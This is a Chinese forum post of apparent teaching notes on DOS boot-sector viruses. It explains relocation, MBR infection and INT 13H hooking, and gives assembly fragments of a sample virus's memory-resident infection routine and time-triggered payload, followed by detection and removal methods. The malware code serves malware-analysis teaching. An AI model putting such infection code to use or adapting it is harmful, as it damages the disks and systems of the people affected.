Tenfk 发布于2022年11月8日 分享 发布于2022年11月8日 四、DOS病毒之引导型病毒 4.1 病毒的重定位 病毒重定位的原因 正常源程序在编译的时候,变量在内存中的位置都被计算好了,程序装入内存时,系统不会为它重定位。 病毒感染HOST后,由于其依附到不同HOST程序中的位置不尽相同,病毒随HOST载入内存后,病毒中的各个变量在内存中的位置也会随之发生变化。 病毒为了能正常使用其变量,必须重新定位。 病毒重定位的方法 借助Call指令实现 当执行Call指令时,它会先将返回地址(紧接着call语句之后的那条语句在内存中的真正地址)压入堆栈,然后将IP置为Call语句所指向的地址。 在被调子程序遇到ret指令后,就会将堆栈顶端的地址弹出来,并将其置入IP中,实现返回。 病毒的重定位就是利用call指令对IP的操作来实现的。 实现过程 VStart: ... call delta delta: pop ebp sub ebp, offset delta-VStart lea eax, [offset Var2+ebp] 4.2 引导型病毒 引导型病毒概念 指专门感染主引导扇区和引导扇区的计算机病毒。感染主引导区的病毒称作MBR病毒;感染引导区的病毒称作BR病毒。 引导型病毒的基本原理 通过感染主引导扇区和引导扇区,在启动系统时即获取控制权。 引导型病毒在感染主引导扇区/引导扇区时,将被感染扇区的“内容”写入其他扇区,并在FAT中标示该扇区所在簇为坏簇。 为能在机器运行过程中能实施感染,通过修改内存大小,截取高端内存,实现常驻内存。 引导型病毒的触发与INT 13H 引导型病毒的触发 引导型病毒在获取控制权后,修改INT 13H入口地址使其指向病毒中断服务程序,处于可激活态 当系统/用户进行磁盘读写时调用INT 13H,激活病毒。 病毒别激活后,可根据感染条件实施感染、根据爆发破坏条件破坏系统并表现自己。 引导型病毒样例分析 修改0:413h(减小可用内存) mov ax, ds:[413h] dec ax dec ax mov ds:[413h], ax 计算高端内存地址 mov cl, 6 ;通过移位得到段地址 shl ax, cl mov es, ax 搬移病毒至高端内存 mov si, sp mov cx, VirusSize cld rep movsb 跳至端内存 push ax mov di, offset @@HighAddr push di retf 修改INT 13H中断向量 xchg ds:[13h*4+2], ax mov cs:[OldInt13Seg], ax mov ax, offset @@NewInt13 xchg ds:[13h*4],ax mov cs:[OldInt13Off], ax 新INT13H cmp dx, 0000h jnz short @@JmpOldInt13 cmp ah, 02h //读磁盘扇区 jnz short @@JmpOldInt13 cmp cx, 0001h //主引导扇区 jnz short @@jmpOldInt13 call @@OptDisk //条件: 读软盘主引导扇区,则感染 感染 @@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C) pusha push ds push es ;保存段址与通用寄存器 push cs pop es push cs pop ds ;使ds=es=cs mov bx,OFF OldBootSpace mov ax,0201h mov cx,0001h mov dh,00h call @@CallInt13 ;读原引导扇区 jc short @@OptOver 感染 mov di,bx cmp ds:[di.VirusFlag], ’V’ ;判断是否已经有病毒? jz short @@OptOver ;若有,则退出 cmp dl,00h jz short @@IsOptFlopyDisk @@IsOptHardDisk: mov cx,0002h ;若是硬盘,保存在0面0道2扇区 jmp short @@SaveOldBoot @@IsOptFlopyDisk: mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区 感染@@SaveOldBoot: mov ax, 0301h mov dh, 0hcall @@CallInt13 ;保存原引导扇区jc short @@OptOvermov si, OFF @@Startcldmovswmovsb ;修改原扇区首指令(Jmp near 3字节) 感染 mov di, OFF @@Begin+200h mov si, OFF @@Begin mov cx, OFF @@End-OFF @@Begin cld rep movsb ;修改原引导扇区指令cx字节 mov ax, 0301h mov cx, 0001h mov dh, 00h call @@CallInt13 ;写回已经被修改了的引导程序@@OptOver: ;退出传染 pop es pop ds ;恢复段址与通用寄存器 popa 从软盘引导 call @@OptDisk ;调用传染模块 pop dx @@ReadOldFlopyBoot: ;读出原软盘引导程序 mov ax,0201h mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中 mov dh,00h call @@CallInt13 jc short @@ReadOldFlopyBoot ;失败,继续读直到成功 从软盘引导 @@ExecOldBoot: cmp es:[bx.Flags],0aa55h jnz @@ExecOldBoot mov ah,02h int 1ah ;取系统时间 cmp cx,22*100h+30 ;是否大于22:30分 jb @@ExitDisp ;未到,则不显示 lea si,VirusMsg 从软盘引导 @@DispMsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;显示al中的字符 or al,al jnz @@DispMsg xor ax,ax int 16h ;键盘输入@@ExitDisp:mov cx,0001h ;恢复cx初值push espush bxretf ;去执行原引导程序 从硬盘引导@@ReadOldHardBoot:mov ax,0201h mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中mov dh,00h call @@CallInt13 ;读出jc short @@ReadOldHardBoot ;失败,继续读直到成功jmp short @@ExecOldBoot ;去执行原引导程序 4.3 示例病毒感染的清除 通过备份主引导扇区进行还原 通过恢复中断向量表实现对病毒的灭活 引导型病毒的特点与清除 驻留内存 一般采用修改0:413地址内的值的方法,但不够隐蔽。 隐形技术:当病毒驻留时,读写引导区均对原引导区操作,好像没有病毒一样 机密技术:一般加密分区表,使无毒盘启动时无法读取硬盘 优点: 隐蔽性强、兼容性强 缺点: 传染速度慢,一定要用带毒软盘启动才能传到硬盘 杀毒容易,只需改写引导区即可。 引导型病毒的判断与清除 通过查看JMP指令判断是否正常 通过检查引导扇区和内存容量判断是否有病毒驻留 对主引导病毒,不能通过Format清除,可以用FDisk/MBR命令修复,但可能会带来危险 最好的办法是对主引导扇区进行备份。 1 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子